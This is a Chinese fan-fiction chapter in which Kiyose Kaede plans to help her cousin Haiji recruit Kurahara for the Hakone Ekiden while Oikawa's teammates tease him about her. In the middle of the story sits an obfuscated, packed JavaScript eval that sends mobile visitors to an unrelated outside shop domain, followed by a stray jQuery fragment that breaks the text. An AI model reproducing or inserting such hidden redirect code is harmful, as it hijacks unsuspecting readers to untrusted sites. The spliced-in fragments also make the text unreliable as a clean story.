清濑枫又一次看到清濑灰二的决意,他明亮的眼瞳中像是有火焰在燃烧、跳跃。
那是一簇足以将他整个生命都燃烧殆尽的火焰,仿佛他穷其一生的目标就是踏上箱根驿传的跑道,将生命结束在那里。
清濑枫悄然攥紧手指。作为旁观者,她不希望灰二哥以他的健康和未来为代价,去换取一时的满足与快意。
可是,同样作为旁观者,她见证了三年来灰二哥为实现这一目标付出的种种努力。而且,作为旁观者哪里有资格去阻止他人追求自己的梦想呢?
清濑枫沉默的红着眼眶,这两个念头在她脑海中撕扯、纠缠,即使到了现在,即使想了很多年,她还是没找到一个既能让灰二哥实现梦想又不损伤健康的方案。
医院被出租车甩在身后。
清濑枫和清濑灰二率先抵达了前者父亲预订的料亭,侍者将他们带到环境清幽的包厢,里面空无一人,只有发出潺潺声的流水造景。
“竹青庄现在只住着七个人。”清濑枫沉默良久后率先开口。
“没错。”清濑灰二点头,像是老师上课点名般念道:“我、尼古前辈、阿雪、king、神童、姆萨、王子。”
竹青庄的住户除他自己以外,还有六人,每人都有着各自的特点和长处。
但是,还不够。
清濑枫眉头微蹙,住在竹青庄的其他住户在长跑上的资质暂且不论,要想参加箱根驿传,至少得凑齐十人才行。
一道跑姿优美的身影从清濑枫的脑海中一闪而过,化作伏案埋头苦学的背影。
“灰二哥,”清濑枫直直望着坐在她对面的,和平时一样带着笑意,看起来完全没有被医生的结论和他自己的话语影响到的清濑灰二:“假使有一位在跑步上非常有才能的人加入,会帮到你吗?”
清濑灰二看向神色严肃,像是下定了某种决心的堂妹,也收敛起笑意,神色端正。
他了解自己的堂妹,也熟悉她这个语气。每当小枫提出假设的时候,她心中已经有了结论,或是可以促使她下定结论的某些因素。
一位在跑步上非常有才能的人。清濑灰二转动脑筋。
小枫她在初中时加入的社团是排球部而非田径部,到了高中更是和运动社团无缘。
可她就读的高中是青叶城西。
“当然。”清濑灰二肯定地回答道,紧接着问:“你说的人是指青叶城西的藏原走吗?”
那位在去年的夏季大赛中刷新了五千米记录的,就读于青叶城西的选手。
“没错。”清濑枫点头,虽然她之前没有对灰二哥提及过藏原前辈,但她对灰二哥能猜出这点毫不惊讶。
毕竟,他可是清濑灰二。
清濑枫的十根手指绞在一起:“灰二哥会想要藏原前辈加入你的队伍吗?”
“当然。”清濑灰二光是想象了一下这种情况就忍不住笑起来:“假使他能加入的话,我的梦想就能从虚无缥缈的云端落到地上。”
凭他一己之力拉扯一个队伍从零开始挑战箱根驿传的难度和凭借两个人的力量、有另一位专业且出色的田径选手引领的难度绝不相同。
但是,清濑灰二望向在听到他的回答后,神色越发严肃,连嘴唇都绷直的堂妹,他上一次见她这幅模样还是她和奶奶配合着说服自己,让刚刚结束复健的自己不要着急回去训练,再多休息几个月。
清濑灰二想起紧跟着藏原走的,那起暴力事件的丑闻。
那个名为藏原走的选手现在已经退出了田径部。对方想要远离田径、远离跑道的心情,恐怕和自己当时想要踏上跑道,拥抱跑步的心情一样迫切。
“他不会想要参加箱根驿传。”清濑灰二立刻得出了这一结论。
箱根驿传是一项以大学为单位的活动。假使藏原走想要挑战箱根驿传,他大可以报考田径强校,而不是宽政大。
他既然选择了宽政大,就以为着他并不想再度为了名词,为了成绩等等踏上跑道,自然也不会想要参与箱根驿传。
清濑枫僵住脑袋点头,神色也变得难为情。她对不住藏原走前辈。
清濑灰二见状,目光越发柔和,了然地笑道:“而你打算为了我去劝他。”
就像当初劝自己多休息一段时间再回到跑道上那样。劝藏原走加入宽政大,加入自己挑战箱根驿传的队伍中。
“没错。”清濑枫点头:“我可以将灰二哥的目标和藏原前辈说吗?”
清濑灰二看着为自己考量的堂妹,即使是自诩非常成熟的他也忍不住鼻头一酸。
“不可以。”清濑灰二拒绝道。
“好。”清濑枫答应下来,在脑海中修改自己先前考量的方向,将方向由调整箱根驿传,调转到让藏原前辈想要重新站到跑道上,回归田径部。
“也不可以在藏原走面前提到田径。”清濑灰二像是拥有读心的能力,补充道。
“为什么?”清濑枫瞪大了眼睛,十分不解。
因为如果让你去做这件事,你在事后会非常愧疚,自责,觉得欺骗了对方,就像现在,就像刚刚一样。
清濑灰二没有说这些话,只是笑着对清濑枫眨眨眼:“因为我有别的计划。”
他像一个恶魔般笑道:“只要藏原走能考上宽政大,他就逃不出我的掌心。”
所以,这件事,包括未来他的挑战箱根驿传的梦想能否实现,现在还要看藏原走的学习成绩。
“噗嗤。”清濑灰二没忍住,笑出声,问:“他的文化课成绩怎么样?”
清濑灰二扶了扶不存在的眼镜,切换到某种家庭教师的姿态,在脑海中写下另一个剧本:“需要我帮他补习吗?”
“藏原前辈已经参加补习班了。他的成绩提升的非常快,考上宽政大学只要不出意外的话,就不成问题。”
“而且,据我观察,藏原前辈的自我管理能力也很强。”
无论是离开田径部后每天依旧进行的训练,还是在补习班专注的学习状态都能证实这一点。而且,竞技体育又锻炼了抗压能力。
意外的发生率也被压缩到很低。
清濑枫和清濑灰二聊了许久关于藏原走,关于箱根驿传的话题,但前者的父亲迟迟未到。
只有侍者拉开纸门,将一盘盘精致的菜品摆到桌上,又将一个做工精致的木盒放在桌边。
墙上的分针又转过一整圈,清濑枫的父亲,清濑仁才姗姗来迟。
“抱歉,实验数据出了一些问题。”他向自己的女儿和侄子解释迟到的原因。
清濑枫盯着许久未见的父亲,三个月的功夫,他的头发长了不少,没有怎么打理,乱糟糟的,卷曲着垂在肩上。
整个人看起来不太精神,明亮的眼睛下方是一片青黑,弯起的唇角周围是一圈胡茬。
“新年快乐。”他给了两个后辈一人一个厚厚的红包,就再度起身,带着那盒打包好的食物离开。
清濑仁走到门口时,似是想起来什么,看向他的女儿,有些犹豫地小声问道:“小枫想来东京读高中吗?”
东京?高中?
“新山女子也是一个好学校。”及川彻在初中的时候说起这件事时失落的表情再度浮现在清濑枫的眼前。
“不想。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718417|205337||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
清濑枫毫不犹豫地拒绝道。
清濑仁没有强求,也没有解释,只点点头:“我知道了。”
“你们好好吃。”他留下最后一句叮嘱,就再度离开。
像是一阵风,只余下淡淡的化学试剂的味道。
清濑灰二的眼神在他的堂叔和堂妹之间徘徊。
他和他父亲的关系非常不好,感情和浓厚毫无关系。他今日一早向父母发送的新年祝福到现在都毫无回应。
堂叔和堂妹与他们不同,即使实验繁忙,也会提前订好餐厅,在中途抽出时间来见她一面。
可堂叔表现出来的样子以及两人交谈时的生疏,看起来和他与他的父亲也没有什么区别。
清濑灰二无声地在心中叹口气,转头带着笑意问:“明天和后天可以陪我去箱根驿传的现场看看吗?”
“当然。”
及川彻在吃饭的时候仍然忍不住看着手机。
心不在焉的模样和频繁的程度让花卷贵大都忍不住带着好奇问:“在和新的女朋友发消息吗?”
及川这个家伙才和上一个可爱的学妹分手多久?有一个星期吗?!又谈上恋爱了吗?未免太有人气了吧!简直太气人了!
单身的怨气并没有被及川彻读到。
“当然不是!”及川彻否定地飞快,他只是在反复观看小枫说今天要去东京的短信。
她只是说了她什么时候去,没有说她什么时候回来。
“小卷的脑袋里是只有恋爱吗!”及川彻站在道德的高地指责道:“多少给排球留点位置啊!我们今年可是要战胜白鸟泽走向全国的!”
“不专心地明明是你吧?”岩泉一帮腔,他们刚刚就在讨论三年级毕业后,那些地方需要着重补强。
岩泉一还想说些什么,但他的手机震了一下,他点亮屏幕,是清濑枫的回复。
-明天和后天要陪灰二哥去看箱根驿传的现场,4号回来。
他的肩膀忽然多出了一个人的重量,及川彻的脑袋挤了过来,控诉道:“为什么小枫会给小岩发这个!”
岩泉一几乎不用转动脑袋就看清楚及川彻的手机屏幕,上面也是和小枫的聊天记录,最新的一条消息在今天早上。
-到车站了吗?
-到了。
在这之后两人就没有说过任何话。
“因为我主动问了她什么时候回来,白痴。”岩泉一颇为无语。
他问了,小枫答了。就是这样简单的事情。
“是吗?哈哈。”及川彻干笑几声:“原来是这样。”
松川一静的目光再度停在及川彻的身上。
“不然你以为是什么呢?”松川一静冷不丁试探问道:“你在害怕清濑她和岩泉感情更好然后抛弃你吗?”
“哈!当然不是!”及川彻毫不怀疑地反驳道:“我才不害怕这个!而且小枫和小岩绝不会抛下我不管!”
“阿松你想法太阴暗了!”及川彻冷哼一声,接着带着某种暧昧不明的阴恻恻的笑容:“阿松你是不是在嫉妒我们三个关系好,所以才在挑拨我们三人的关系!”
松川一静喝了一口热汤,道:“没这回事。”
他并不嫉妒他们三人亲密的关系。
他只是有些在意及川对于清濑的看法,有些在意后者要是和及川交往的话,会不会感到幸福,会不会有所不同。
不过,松川一静看着还在说着诸如“你就是在嫉妒”之类的话语的及川彻,他看起来似乎完全没有意识到他自己对清濑的过度在意。
现在还不是向这个过于迟钝的笨蛋挑明这一点的时候。